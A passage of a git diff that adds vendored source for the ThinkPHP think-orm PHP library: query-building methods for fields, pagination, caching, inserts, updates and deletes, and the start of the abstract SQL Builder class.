+ * @return $this + */ + public function withoutField($field) + { + if (empty($field)) { + return $this; + } + + if (is_string($field)) { + $field = array_map('trim', explode(',', $field)); + } + + // 字段排除 + $fields = $this->getTableFields(); + $field = $fields ? array_diff($fields, $field) : $field; + + if (isset($this->options['field'])) { + $field = array_merge((array) $this->options['field'], $field); + } + + $this->options['field'] = array_unique($field); + + return $this; + } + + /** + * 指定其它数据表的查询字段 + * @access public + * @param mixed $field 字段信息 + * @param string $tableName 数据表名 + * @param string $prefix 字段前缀 + * @param string $alias 别名前缀 + * @return $this + */ + public function tableField($field, string $tableName, string $prefix = '', string $alias = '') + { + if (empty($field)) { + return $this; + } + + if (is_string($field)) { + $field = array_map('trim', explode(',', $field)); + } + + if (true === $field) { + // 获取全部字段 + $fields = $this->getTableFields($tableName); + $field = $fields ?: ['*']; + } + + // 添加统一的前缀 + $prefix = $prefix ?: $tableName; + foreach ($field as $key => &$val) { + if (is_numeric($key) && $alias) { + $field[$prefix . '.' . $val] = $alias . $val; + unset($field[$key]); + } elseif (is_numeric($key)) { + $val = $prefix . '.' . $val; + } + } + + if (isset($this->options['field'])) { + $field = array_merge((array) $this->options['field'], $field); + } + + $this->options['field'] = array_unique($field); + + return $this; + } + + /** + * 设置数据 + * @access public + * @param array $data 数据 + * @return $this + */ + public function data(array $data) + { + $this->options['data'] = $data; + + return $this; + } + + /** + * 去除查询参数 + * @access public + * @param string $option 参数名 留空去除所有参数 + * @return $this + */ + public function removeOption(string $option = '') + { + if ('' === $option) { + $this->options = []; + $this->bind = []; + } elseif (isset($this->options[$option])) { + unset($this->options[$option]); + } + + return $this; + } + + /** + * 指定查询数量 + * @access public + * @param int $offset 起始位置 + * @param int $length 查询数量 + * @return $this + */ + public function limit(int $offset, int $length = null) + { + $this->options['limit'] = $offset . ($length ? ',' . $length : ''); + + return $this; + } + + /** + * 指定分页 + * @access public + * @param int $page 页数 + * @param int $listRows 每页数量 + * @return $this + */ + public function page(int $page, int $listRows = null) + { + $this->options['page'] = [$page, $listRows]; + + return $this; + } + + /** + * 指定当前操作的数据表 + * @access public + * @param mixed $table 表名 + * @return $this + */ + public function table($table) + { + if (is_string($table)) { + if (strpos($table, ')')) { + // 子查询 + } elseif (false === strpos($table, ',')) { + if (strpos($table, ' ')) { + [$item, $alias] = explode(' ', $table); + $table = []; + $this->alias([$item => $alias]); + $table[$item] = $alias; + } + } else { + $tables = explode(',', $table); + $table = []; + + foreach ($tables as $item) { + $item = trim($item); + if (strpos($item, ' ')) { + [$item, $alias] = explode(' ', $item); + $this->alias([$item => $alias]); + $table[$item] = $alias; + } else { + $table[] = $item; + } + } + } + } elseif (is_array($table)) { + $tables = $table; + $table = []; + + foreach ($tables as $key => $val) { + if (is_numeric($key)) { + $table[] = $val; + } else { + $this->alias([$key => $val]); + $table[$key] = $val; + } + } + } + + $this->options['table'] = $table; + + return $this; + } + + /** + * 指定排序 order('id','desc') 或者 order(['id'=>'desc','create_time'=>'desc']) + * @access public + * @param string|array|Raw $field 排序字段 + * @param string $order 排序 + * @return $this + */ + public function order($field, string $order = '') + { + if (empty($field)) { + return $this; + } elseif ($field instanceof Raw) { + $this->options['order'][] = $field; + return $this; + } + + if (is_string($field)) { + if (!empty($this->options['via'])) { + $field = $this->options['via'] . '.' . $field; + } + if (strpos($field, ',')) { + $field = array_map('trim', explode(',', $field)); + } else { + $field = empty($order) ? $field : [$field => $order]; + } + } elseif (!empty($this->options['via'])) { + foreach ($field as $key => $val) { + if (is_numeric($key)) { + $field[$key] = $this->options['via'] . '.' . $val; + } else { + $field[$this->options['via'] . '.' . $key] = $val; + unset($field[$key]); + } + } + } + + if (!isset($this->options['order'])) { + $this->options['order'] = []; + } + + if (is_array($field)) { + $this->options['order'] = array_merge($this->options['order'], $field); + } else { + $this->options['order'][] = $field; + } + + return $this; + } + + /** + * 分页查询 + * @access public + * @param int|array $listRows 每页数量 数组表示配置参数 + * @param int|bool $simple 是否简洁模式或者总记录数 + * @return Paginator + * @throws Exception + */ + public function paginate($listRows = null, $simple = false): Paginator + { + if (is_int($simple)) { + $total = $simple; + $simple = false; + } + + $defaultConfig = [ + 'query' => [], //url额外参数 + 'fragment' => '', //url锚点 + 'var_page' => 'page', //分页变量 + 'list_rows' => 15, //每页数量 + ]; + + if (is_array($listRows)) { + $config = array_merge($defaultConfig, $listRows); + $listRows = intval($config['list_rows']); + } else { + $config = $defaultConfig; + $listRows = intval($listRows ?: $config['list_rows']); + } + + $page = isset($config['page']) ? (int) $config['page'] : Paginator::getCurrentPage($config['var_page']); + + $page = $page < 1 ? 1 : $page; + + $config['path'] = $config['path'] ?? Paginator::getCurrentPath(); + + if (!isset($total) && !$simple) { + $options = $this->getOptions(); + + unset($this->options['order'], $this->options['limit'], $this->options['page'], $this->options['field']); + + $bind = $this->bind; + $total = $this->count(); + $results = $this->options($options)->bind($bind)->page($page, $listRows)->select(); + } elseif ($simple) { + $results = $this->limit(($page - 1) * $listRows, $listRows + 1)->select(); + $total = null; + } else { + $results = $this->page($page, $listRows)->select(); + } + + $this->removeOption('limit'); + $this->removeOption('page'); + + return Paginator::make($results, $listRows, $page, $total, $simple, $config); + } + + /** + * 根据数字类型字段进行分页查询(大数据) + * @access public + * @param int|array $listRows 每页数量或者分页配置 + * @param string $key 分页索引键 + * @param string $sort 索引键排序 asc|desc + * @return Paginator + * @throws Exception + */ + public function paginateX($listRows = null, string $key = null, string $sort = null): Paginator + { + $defaultConfig = [ + 'query' => [], //url额外参数 + 'fragment' => '', //url锚点 + 'var_page' => 'page', //分页变量 + 'list_rows' => 15, //每页数量 + ]; + + $config = is_array($listRows) ? array_merge($defaultConfig, $listRows) : $defaultConfig; + $listRows = is_int($listRows) ? $listRows : (int) $config['list_rows']; + $page = isset($config['page']) ? (int) $config['page'] : Paginator::getCurrentPage($config['var_page']); + $page = $page < 1 ? 1 : $page; + + $config['path'] = $config['path'] ?? Paginator::getCurrentPath(); + + $key = $key ?: $this->getPk(); + $options = $this->getOptions(); + + if (is_null($sort)) { + $order = $options['order'] ?? ''; + if (!empty($order)) { + $sort = $order[$key] ?? 'desc'; + } else { + $this->order($key, 'desc'); + $sort = 'desc'; + } + } else { + $this->order($key, $sort); + } + + $newOption = $options; + unset($newOption['field'], $newOption['page']); + + $data = $this->newQuery() + ->options($newOption) + ->field($key) + ->where(true) + ->order($key, $sort) + ->limit(1) + ->find(); + + $result = $data[$key]; + + if (is_numeric($result)) { + $lastId = 'asc' == $sort ? ($result - 1) + ($page - 1) * $listRows : ($result + 1) - ($page - 1) * $listRows; + } else { + throw new Exception('not support type'); + } + + $results = $this->when($lastId, function ($query) use ($key, $sort, $lastId) { + $query->where($key, 'asc' == $sort ? '>' : '<', $lastId); + }) + ->limit($listRows) + ->select(); + + $this->options($options); + + return Paginator::make($results, $listRows, $page, null, true, $config); + } + + /** + * 根据最后ID查询更多N个数据 + * @access public + * @param int $limit LIMIT + * @param int|string $lastId LastId + * @param string $key 分页索引键 默认为主键 + * @param string $sort 索引键排序 asc|desc + * @return array + * @throws Exception + */ + public function more(int $limit, $lastId = null, string $key = null, string $sort = null): array + { + $key = $key ?: $this->getPk(); + + if (is_null($sort)) { + $order = $this->getOptions('order'); + if (!empty($order)) { + $sort = $order[$key] ?? 'desc'; + } else { + $this->order($key, 'desc'); + $sort = 'desc'; + } + } else { + $this->order($key, $sort); + } + + $result = $this->when($lastId, function ($query) use ($key, $sort, $lastId) { + $query->where($key, 'asc' == $sort ? '>' : '<', $lastId); + })->limit($limit)->select(); + + $last = $result->last(); + + $result->first(); + + return [ + 'data' => $result, + 'lastId' => $last[$key], + ]; + } + + /** + * 查询缓存 + * @access public + * @param mixed $key 缓存key + * @param integer|\DateTime $expire 缓存有效期 + * @param string|array $tag 缓存标签 + * @return $this + */ + public function cache($key = true, $expire = null, $tag = null) + { + if (false === $key || !$this->getConnection()->getCache()) { + return $this; + } + + if ($key instanceof \DateTimeInterface || $key instanceof \DateInterval || (is_int($key) && is_null($expire))) { + $expire = $key; + $key = true; + } + + $this->options['cache'] = [$key, $expire, $tag]; + + return $this; + } + + /** + * 指定查询lock + * @access public + * @param bool|string $lock 是否lock + * @return $this + */ + public function lock($lock = false) + { + $this->options['lock'] = $lock; + + if ($lock) { + $this->options['master'] = true; + } + + return $this; + } + + /** + * 指定数据表别名 + * @access public + * @param array|string $alias 数据表别名 + * @return $this + */ + public function alias($alias) + { + if (is_array($alias)) { + $this->options['alias'] = $alias; + } else { + $table = $this->getTable(); + + $this->options['alias'][$table] = $alias; + } + + return $this; + } + + /** + * 设置从主服务器读取数据 + * @access public + * @param bool $readMaster 是否从主服务器读取 + * @return $this + */ + public function master(bool $readMaster = true) + { + $this->options['master'] = $readMaster; + return $this; + } + + /** + * 设置是否严格检查字段名 + * @access public + * @param bool $strict 是否严格检查字段 + * @return $this + */ + public function strict(bool $strict = true) + { + $this->options['strict'] = $strict; + return $this; + } + + /** + * 设置自增序列名 + * @access public + * @param string $sequence 自增序列名 + * @return $this + */ + public function sequence(string $sequence = null) + { + $this->options['sequence'] = $sequence; + return $this; + } + + /** + * 设置JSON字段信息 + * @access public + * @param array $json JSON字段 + * @param bool $assoc 是否取出数组 + * @return $this + */ + public function json(array $json = [], bool $assoc = false) + { + $this->options['json'] = $json; + $this->options['json_assoc'] = $assoc; + return $this; + } + + /** + * 指定数据表主键 + * @access public + * @param string|array $pk 主键 + * @return $this + */ + public function pk($pk) + { + $this->pk = $pk; + return $this; + } + + /** + * 查询参数批量赋值 + * @access protected + * @param array $options 表达式参数 + * @return $this + */ + protected function options(array $options) + { + $this->options = $options; + return $this; + } + + /** + * 获取当前的查询参数 + * @access public + * @param string $name 参数名 + * @return mixed + */ + public function getOptions(string $name = '') + { + if ('' === $name) { + return $this->options; + } + + return $this->options[$name] ?? null; + } + + /** + * 设置当前的查询参数 + * @access public + * @param string $option 参数名 + * @param mixed $value 参数值 + * @return $this + */ + public function setOption(string $option, $value) + { + $this->options[$option] = $value; + return $this; + } + + /** + * 设置当前字段添加的表别名 + * @access public + * @param string $via 临时表别名 + * @return $this + */ + public function via(string $via = '') + { + $this->options['via'] = $via; + + return $this; + } + + /** + * 保存记录 自动判断insert或者update + * @access public + * @param array $data 数据 + * @param bool $forceInsert 是否强制insert + * @return integer + */ + public function save(array $data = [], bool $forceInsert = false) + { + if ($forceInsert) { + return $this->insert($data); + } + + $this->options['data'] = array_merge($this->options['data'] ?? [], $data); + + if (!empty($this->options['where'])) { + $isUpdate = true; + } else { + $isUpdate = $this->parseUpdateData($this->options['data']); + } + + return $isUpdate ? $this->update() : $this->insert(); + } + + /** + * 插入记录 + * @access public + * @param array $data 数据 + * @param boolean $getLastInsID 返回自增主键 + * @return integer|string + */ + public function insert(array $data = [], bool $getLastInsID = false) + { + if (!empty($data)) { + $this->options['data'] = $data; + } + + return $this->connection->insert($this, $getLastInsID); + } + + /** + * 插入记录并获取自增ID + * @access public + * @param array $data 数据 + * @return integer|string + */ + public function insertGetId(array $data) + { + return $this->insert($data, true); + } + + /** + * 批量插入记录 + * @access public + * @param array $dataSet 数据集 + * @param integer $limit 每次写入数据限制 + * @return integer + */ + public function insertAll(array $dataSet = [], int $limit = 0): int + { + if (empty($dataSet)) { + $dataSet = $this->options['data'] ?? []; + } + + if (empty($limit) && !empty($this->options['limit']) && is_numeric($this->options['limit'])) { + $limit = (int) $this->options['limit']; + } + + return $this->connection->insertAll($this, $dataSet, $limit); + } + + /** + * 通过Select方式插入记录 + * @access public + * @param array $fields 要插入的数据表字段名 + * @param string $table 要插入的数据表名 + * @return integer + */ + public function selectInsert(array $fields, string $table): int + { + return $this->connection->selectInsert($this, $fields, $table); + } + + /** + * 更新记录 + * @access public + * @param mixed $data 数据 + * @return integer + * @throws Exception + */ + public function update(array $data = []): int + { + if (!empty($data)) { + $this->options['data'] = array_merge($this->options['data'] ?? [], $data); + } + + if (empty($this->options['where'])) { + $this->parseUpdateData($this->options['data']); + } + + if (empty($this->options['where']) && $this->model) { + $this->where($this->model->getWhere()); + } + + if (empty($this->options['where'])) { + // 如果没有任何更新条件则不执行 + throw new Exception('miss update condition'); + } + + return $this->connection->update($this); + } + + /** + * 删除记录 + * @access public + * @param mixed $data 表达式 true 表示强制删除 + * @return int + * @throws Exception + */ + public function delete($data = null): int + { + if (!is_null($data) && true !== $data) { + // AR模式分析主键条件 + $this->parsePkWhere($data); + } + + if (empty($this->options['where']) && $this->model) { + $this->where($this->model->getWhere()); + } + + if (true !== $data && empty($this->options['where'])) { + // 如果条件为空 不进行删除操作 除非设置 1=1 + throw new Exception('delete without condition'); + } + + if (!empty($this->options['soft_delete'])) { + // 软删除 + list($field, $condition) = $this->options['soft_delete']; + if ($condition) { + unset($this->options['soft_delete']); + $this->options['data'] = [$field => $condition]; + + return $this->connection->update($this); + } + } + + $this->options['data'] = $data; + + return $this->connection->delete($this); + } + + /** + * 查找记录 + * @access public + * @param mixed $data 数据 + * @return Collection + * @throws Exception + * @throws ModelNotFoundException + * @throws DataNotFoundException + */ + public function select($data = null): Collection + { + if (!is_null($data)) { + // 主键条件分析 + $this->parsePkWhere($data); + } + + $resultSet = $this->connection->select($this); + + // 返回结果处理 + if (!empty($this->options['fail']) && count($resultSet) == 0) { + $this->throwNotFound(); + } + + // 数据列表读取后的处理 + if (!empty($this->model)) { + // 生成模型对象 + $resultSet = $this->resultSetToModelCollection($resultSet); + } else { + $this->resultSet($resultSet); + } + + return $resultSet; + } + + /** + * 查找单条记录 + * @access public + * @param mixed $data 查询数据 + * @return array|Model|null + * @throws Exception + * @throws ModelNotFoundException + * @throws DataNotFoundException + */ + public function find($data = null) + { + if (!is_null($data)) { + // AR模式分析主键条件 + $this->parsePkWhere($data); + } + + if (empty($this->options['where']) && empty($this->options['order'])) { + $result = []; + } else { + $result = $this->connection->find($this); + } + + // 数据处理 + if (empty($result)) { + return $this->resultToEmpty(); + } + + if (!empty($this->model)) { + // 返回模型对象 + $this->resultToModel($result, $this->options); + } else { + $this->result($result); + } + + return $result; + } + + /** + * 分析表达式(可用于查询或者写入操作) + * @access public + * @return array + */ + public function parseOptions(): array + { + $options = $this->getOptions(); + + // 获取数据表 + if (empty($options['table'])) { + $options['table'] = $this->getTable(); + } + + if (!isset($options['where'])) { + $options['where'] = []; + } elseif (isset($options['view'])) { + // 视图查询条件处理 + $this->parseView($options); + } + + if (!isset($options['field'])) { + $options['field'] = '*'; + } + + foreach (['data', 'order', 'join', 'union'] as $name) { + if (!isset($options[$name])) { + $options[$name] = []; + } + } + + if (!isset($options['strict'])) { + $options['strict'] = $this->connection->getConfig('fields_strict'); + } + + foreach (['master', 'lock', 'fetch_sql', 'array', 'distinct', 'procedure'] as $name) { + if (!isset($options[$name])) { + $options[$name] = false; + } + } + + foreach (['group', 'having', 'limit', 'force', 'comment', 'partition', 'duplicate', 'extra'] as $name) { + if (!isset($options[$name])) { + $options[$name] = ''; + } + } + + if (isset($options['page'])) { + // 根据页数计算limit + [$page, $listRows] = $options['page']; + $page = $page > 0 ? $page : 1; + $listRows = $listRows ?: (is_numeric($options['limit']) ? $options['limit'] : 20); + $offset = $listRows * ($page - 1); + $options['limit'] = $offset . ',' . $listRows; + } + + $this->options = $options; + + return $options; + } + + /** + * 分析数据是否存在更新条件 + * @access public + * @param array $data 数据 + * @return bool + * @throws Exception + */ + public function parseUpdateData(&$data): bool + { + $pk = $this->getPk(); + $isUpdate = false; + // 如果存在主键数据 则自动作为更新条件 + if (is_string($pk) && isset($data[$pk])) { + $this->where($pk, '=', $data[$pk]); + $this->options['key'] = $data[$pk]; + unset($data[$pk]); + $isUpdate = true; + } elseif (is_array($pk)) { + foreach ($pk as $field) { + if (isset($data[$field])) { + $this->where($field, '=', $data[$field]); + $isUpdate = true; + } else { + // 如果缺少复合主键数据则不执行 + throw new Exception('miss complex primary data'); + } + unset($data[$field]); + } + } + + return $isUpdate; + } + + /** + * 把主键值转换为查询条件 支持复合主键 + * @access public + * @param array|string $data 主键数据 + * @return void + * @throws Exception + */ + public function parsePkWhere($data): void + { + $pk = $this->getPk(); + + if (is_string($pk)) { + // 获取数据表 + if (empty($this->options['table'])) { + $this->options['table'] = $this->getTable(); + } + + $table = is_array($this->options['table']) ? key($this->options['table']) : $this->options['table']; + + if (!empty($this->options['alias'][$table])) { + $alias = $this->options['alias'][$table]; + } + + $key = isset($alias) ? $alias . '.' . $pk : $pk; + // 根据主键查询 + if (is_array($data)) { + $this->where($key, 'in', $data); + } else { + $this->where($key, '=', $data); + $this->options['key'] = $data; + } + } + } + + /** + * 获取模型的更新条件 + * @access protected + * @param array $options 查询参数 + */ + protected function getModelUpdateCondition(array $options) + { + return $options['where']['AND'] ?? null; + } +} diff --git a/vendor/topthink/think-orm/src/db/Builder.php b/vendor/topthink/think-orm/src/db/Builder.php new file mode 100644 index 0000000..c807f82 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/Builder.php @@ -0,0 +1,1303 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db; + +use Closure; +use PDO; +use think\db\exception\DbException as Exception; + +/** + * Db Builder + */ +abstract class Builder +{ + /** + * Connection对象 + * @var ConnectionInterface + */ + protected $connection; + + /** + * 查询表达式映射 + * @var array + */ + protected $exp = ['NOTLIKE' => 'NOT LIKE', 'NOTIN' => 'NOT IN', 'NOTBETWEEN' => 'NOT BETWEEN', 'NOTEXISTS' => 'NOT EXISTS', 'NOTNULL' => 'NOT NULL', 'NOTBETWEEN TIME' => 'NOT BETWEEN TIME']; + + /** + * 查询表达式解析 + * @var array + */ + protected $parser = [ + 'parseCompare' => ['=', '<>', '>', '>=', '<', '<='], + 'parseLike' => ['LIKE', 'NOT LIKE'], + 'parseBetween' => ['NOT BETWEEN', 'BETWEEN'], + 'parseIn' => ['NOT IN', 'IN'], + 'parseExp' => ['EXP'], + 'parseNull' => ['NOT NULL', 'NULL'], + 'parseBetweenTime' => ['BETWEEN TIME', 'NOT BETWEEN TIME'], + 'parseTime' => ['< TIME', '> TIME', '<= TIME', '>= TIME'], + 'parseExists' => ['NOT EXISTS', 'EXISTS'], + 'parseColumn' => ['COLUMN'], + ]; + + /** + * SELECT SQL表达式 + * @var string + */ + protected $selectSql = 'SELECT%DISTINCT%%EXTRA% %FIELD% FROM %TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%UNION%%ORDER%%LIMIT% %LOCK%%COMMENT%'; + + /** + * INSERT SQL表达式 + * @var string + */ + protected $insertSql = '%INSERT%%EXTRA% INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT%'; + + /** + * INSERT ALL SQL表达式 + * @var string + */ + protected $insertAllSql = '%INSERT%%EXTRA% INTO %TABLE% (%FIELD%) %DATA% %COMMENT%'; + + /** + * UPDATE SQL表达式 + * @var string + */ + protected $updateSql = 'UPDATE%EXTRA% %TABLE% SET %SET%%JOIN%%WHERE%%ORDER%%LIMIT% %LOCK%%COMMENT%'; + + /** + * DELETE SQL表达式 + * @var string + */ + protected $deleteSql = 'DELETE%EXTRA% FROM %TABLE%%USING%%JOIN%%WHERE%%ORDER%%LIMIT% %LOCK%%COMMENT%'; + + /** + * 架构函数 + * @access public + * @param ConnectionInterface $connection 数据库连接对象实例 + */ + public function __construct(ConnectionInterface $connection) + { + $this->connection = $connection; + } + + /** + * 获取当前的连接对象实例 + * @access public + * @return ConnectionInterface + */ + public function getConnection(): ConnectionInterface + { + return $this->connection; + } + + /** + * 注册查询表达式解析 + * @access public + * @param string $name 解析方法 + * @param array $parser 匹配表达式数据 + * @return $this + */ + public function bindParser(string $name, array $parser) + { + $this->parser[$name] = $parser; + return $this; + } + + /** + * 数据分析 + * @access protected + * @param Query $query 查询对象 + * @param array $data 数据 + * @param array $fields 字段信息 + * @param array $bind 参数绑定 + * @return array + */ + protected function parseData(Query $query, array $data = [], array $fields = [], array $bind = []): array + { + if (empty($data)) { + return []; + } + + $options = $query->getOptions(); + + // 获取绑定信息 + if (empty($bind)) { + $bind = $query->getFieldsBindType(); + } + + if (empty($fields)) { + if ('*' == $options['field']) { + $fields = array_keys($bind); + } else { + $fields = $options['field']; + } + } + + $result = []; + + foreach ($data as $key => $val) { + $item = $this->parseKey($query, $key, true); + + if ($val instanceof Raw) { + $result[$item] = $this->parseRaw($query, $val); + continue; + } elseif (!is_scalar($val) && (in_array($key, (array) $query->getOptions('json')) || 'json' == $query->getFieldType($key))) { + $val = json_encode($val); + } + + if (false !== strpos($key, '->')) { + [$key, $name] = explode('->', $key, 2); + $item = $this->parseKey($query, $key); + $result[$item] = 'json_set(' . $item . ', \'$.' . $name . '\', ' . $this->parseDataBind($query, $key . '->' . $name, $val, $bind) . ')'; + } elseif (false === strpos($key, '.') && !in_array($key, $fields, true)) { + if ($options['strict']) { + throw new Exception('fields not exists:[' . $key . ']'); + } + } elseif (is_null($val)) { + $result[$item] = 'NULL'; + } elseif (is_array($val) && !empty($val) && is_string($val[0])) { + switch (strtoupper($val[0])) { + case 'INC': + $result[$item] = $item . ' + ' . floatval($val[1]); + break; + case 'DEC': + $result[$item] = $item . ' - ' . floatval($val[1]); + break; + } + } elseif (is_scalar($val)) { + // 过滤非标量数据 + $result[$item] = $this->parseDataBind($query, $key, $val, $bind); + } + } + + return $result; + } + + /** + * 数据绑定处理 + * @access protected + * @param Query $query 查询对象 + * @param string $key 字段名 + * @param mixed $data 数据 + * @param array $bind 绑定数据 + * @return string + */ + protected function parseDataBind(Query $query, string $key, $data, array $bind = []): string + { + if ($data instanceof Raw) { + return $this->parseRaw($query, $data); + } + + $name = $query->bindValue($data, $bind[$key] ?? PDO::PARAM_STR); + + return ':' . $name; + } + + /** + * 字段名分析 + * @access public + * @param Query $query 查询对象 + * @param mixed $key 字段名 + * @param bool $strict 严格检测 + * @return string + */ + public function parseKey(Query $query, $key, bool $strict = false): string + { + return $key; + } + + /** + * 查询额外参数分析 + * @access protected + * @param Query $query 查询对象 + * @param string $extra 额外参数 + * @return string + */ + protected function parseExtra(Query $query, string $extra): string + { + return preg_match('/^[\w]+$/i', $extra) ? ' ' . strtoupper($extra) : ''; + } + + /** + * field分析 + * @access protected + * @param Query $query 查询对象 + * @param mixed $fields 字段名 + * @return string + */ + protected function parseField(Query $query, $fields): string + { + if (is_array($fields)) { + // 支持 'field1'=>'field2' 这样的字段别名定义 + $array = []; + + foreach ($fields as $key => $field) { + if ($field instanceof Raw) { + $array[] = $this->parseRaw($query, $field); + } elseif (!is_numeric($key)) { + $array[] = $this->parseKey($query, $key) . ' AS ' . $this->parseKey($query, $field, true); + } else { + $array[] = $this->parseKey($query, $field); + } + } + + $fieldsStr = implode(',', $array); + } else { + $fieldsStr = '*'; + } + + return $fieldsStr; + } + + /** + * table分析 + * @access protected + * @param Query $query 查询对象 + * @param mixed $tables 表名 + * @return string + */ + protected function parseTable(Query $query, $tables): string + { + $item = []; + $options = $query->getOptions(); + + foreach ((array) $tables as $key => $table) { + if ($table instanceof Raw) { + $item[] = $this->parseRaw($query, $table); + } elseif (!is_numeric($key)) { + $item[] = $this->parseKey($query, $key) . ' ' . $this->parseKey($query, $table); + } elseif (isset($options['alias'][$table])) { + $item[] = $this->parseKey($query, $table) . ' ' . $this->parseKey($query, $options['alias'][$table]); + } else { + $item[] = $this->parseKey($query, $table); + } + } + + return implode(',', $item); + } + + /** + * where分析 + * @access protected + * @param Query $query 查询对象 + * @param mixed $where 查询条件 + * @return string + */ + protected function parseWhere(Query $query, array $where): string + { + $options = $query->getOptions(); + $whereStr = $this->buildWhere($query, $where); + + if (!empty($options['soft_delete'])) { + // 附加软删除条件 + [$field, $condition] = $options['soft_delete']; + + $binds = $query->getFieldsBindType(); + $whereStr = $whereStr ? '( ' . $whereStr . ' ) AND ' : ''; + $whereStr = $whereStr . $this->parseWhereItem($query, $field, $condition, $binds); + } + + return empty($whereStr) ? '' : ' WHERE ' . $whereStr; + } + + /** + * 生成查询条件SQL + * @access public + * @param Query $query 查询对象 + * @param mixed $where 查询条件 + * @return string + */ + public function buildWhere(Query $query, array $where): string + { + if (empty($where)) { + $where = []; + } + + $whereStr = ''; + + $binds = $query->getFieldsBindType(); + + foreach ($where as $logic => $val) { + $str = $this->parseWhereLogic($query, $logic, $val, $binds); + + $whereStr .= empty($whereStr) ? substr(implode(' ', $str), strlen($logic) + 1) : implode(' ', $str); + } + + return $whereStr; + } + + /** + * 不同字段使用相同查询条件(AND) + * @access protected + * @param Query $query 查询对象 + * @param string $logic Logic + * @param array $val 查询条件 + * @param array $binds 参数绑定 + * @return array + */ + protected function parseWhereLogic(Query $query, string $logic, array $val, array $binds = []): array + { + $where = []; + foreach ($val as $value) { + if ($value instanceof Raw) { + $where[] = ' ' . $logic . ' ( ' . $this->parseRaw($query, $value) . ' )'; + continue; + } + + if (is_array($value)) { + if (key($value) !== 0) { + throw new Exception('where express error:' . var_export($value, true)); + } + $field = array_shift($value); + } elseif (true === $value) { + $where[] = ' ' . $logic . ' 1 '; + continue; + } elseif (!($value instanceof Closure)) { + throw new Exception('where express error:' . var_export($value, true)); + } + + if ($value instanceof Closure) { + // 使用闭包查询 + $whereClosureStr = $this->parseClosureWhere($query, $value, $logic); + if ($whereClosureStr) { + $where[] = $whereClosureStr; + } + } elseif (is_array($field)) { + $where[] = $this->parseMultiWhereField($query, $value, $field, $logic, $binds); + } elseif ($field instanceof Raw) { + $where[] = ' ' . $logic . ' ' . $this->parseWhereItem($query, $field, $value, $binds); + } elseif (strpos($field, '|')) { + $where[] = $this->parseFieldsOr($query, $value, $field, $logic, $binds); + } elseif (strpos($field, '&')) { + $where[] = $this->parseFieldsAnd($query, $value, $field, $logic, $binds); + } else { + // 对字段使用表达式查询 + $field = is_string($field) ? $field : ''; + $where[] = ' ' . $logic . ' ' . $this->parseWhereItem($query, $field, $value, $binds); + } + } + + return $where; + } + + /** + * 不同字段使用相同查询条件(AND) + * @access protected + * @param Query $query 查询对象 + * @param mixed $value 查询条件 + * @param string $field 查询字段 + * @param string $logic Logic + * @param array $binds 参数绑定 + * @return string + */ + protected function parseFieldsAnd(Query $query, $value, string $field, string $logic, array $binds): string + { + $item = []; + + foreach (explode('&', $field) as $k) { + $item[] = $this->parseWhereItem($query, $k, $value, $binds); + } + + return ' ' . $logic . ' ( ' . implode(' AND ', $item) . ' )'; + } + + /** + * 不同字段使用相同查询条件(OR) + * @access protected + * @param Query $query 查询对象 + * @param mixed $value 查询条件 + * @param string $field 查询字段 + * @param string $logic Logic + * @param array $binds 参数绑定 + * @return string + */ + protected function parseFieldsOr(Query $query, $value, string $field, string $logic, array $binds): string + { + $item = []; + + foreach (explode('|', $field) as $k) { + $item[] = $this->parseWhereItem($query, $k, $value, $binds); + } + + return ' ' . $logic . ' ( ' . implode(' OR ', $item) . ' )'; + } + + /** + * 闭包查询 + * @access protected + * @param Query $query 查询对象 + * @param Closure $value 查询条件 + * @param string $logic Logic + * @return string + */ + protected function parseClosureWhere(Query $query, Closure $value, string $logic): string + { + $newQuery = $query->newQuery(); + $value($newQuery); + $whereClosure = $this->buildWhere($newQuery, $newQuery->getOptions('where') ?: []); + + if (!empty($whereClosure)) { + $query->bind($newQuery->getBind(false)); + $where = ' ' . $logic . ' ( ' . $whereClosure . ' )'; + } + + return $where ?? ''; + } + + /** + * 复合条件查询 + * @access protected + * @param Query $query 查询对象 + * @param mixed $value 查询条件 + * @param mixed $field 查询字段 + * @param string $logic Logic + * @param array $binds 参数绑定 + * @return string + */ + protected function parseMultiWhereField(Query $query, $value, $field, string $logic, array $binds): string + { + array_unshift($value, $field); + + $where = []; + foreach ($value as $item) { + $where[] = $this->parseWhereItem($query, array_shift($item), $item, $binds); + } + + return ' ' . $logic . ' ( ' . implode(' AND ', $where) . ' )'; + } + + /** + * where子单元分析 + * @access protected + * @param Query $query 查询对象 + * @param mixed $field 查询字段 + * @param array $val 查询条件 + * @param array $binds 参数绑定 + * @return string + */ + protected function parseWhereItem(Query $query, $field, array $val, array $binds = []): string + { + // 字段分析 + $key = $field ? $this->parseKey($query, $field, true) : ''; + + list($exp, $value) = $val; + + // 检测操作符 + if (!is_string($exp)) { + throw new Exception('where express error:' . var_export($exp, true)); + } + + $exp = strtoupper($exp); + if (isset($this->exp[$exp])) { + $exp = $this->exp[$exp]; + } + + if (is_string($field) && 'LIKE' != $exp) { + $bindType = $binds[$field] ?? PDO::PARAM_STR; + } else { + $bindType = PDO::PARAM_STR; + } + + if ($value instanceof Raw) { + + } elseif (is_object($value) && method_exists($value, '__toString')) { + // 对象数据写入 + $value = $value->__toString(); + } + + if (is_scalar($value) && !in_array($exp, ['EXP', 'NOT NULL', 'NULL', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN']) && strpos($exp, 'TIME') === false) { + if (is_string($value) && 0 === strpos($value, ':') && $query->isBind(substr($value, 1))) { + } else { + $name = $query->bindValue($value, $bindType); + $value = ':' . $name; + } + } + + // 解析查询表达式 + foreach ($this->parser as $fun => $parse) { + if (in_array($exp, $parse)) { + return $this->$fun($query, $key, $exp, $value, $field, $bindType, $val[2] ?? 'AND'); + } + } + + throw new Exception('where express error:' . $exp); + } + + /** + * 模糊查询 + * @access protected + * @param Query $query 查询对象 + * @param string $key + * @param string $exp + * @param array $value + * @param string $field + * @param integer $bindType + * @param string $logic + * @return string + */ + protected function parseLike(Query $query, string $key, string $exp, $value, $field, int $bindType, string $logic): string + { + // 模糊匹配 + if (is_array($value)) { + $array = []; + foreach ($value as $item) { + $name = $query->bindValue($item, PDO::PARAM_STR); + $array[] = $key . ' ' . $exp . ' :' . $name; + } + + $whereStr = '(' . implode(' ' . strtoupper($logic) . ' ', $array) . ')'; + } else { + $whereStr = $key . ' ' . $exp . ' ' . $value; + } + + return 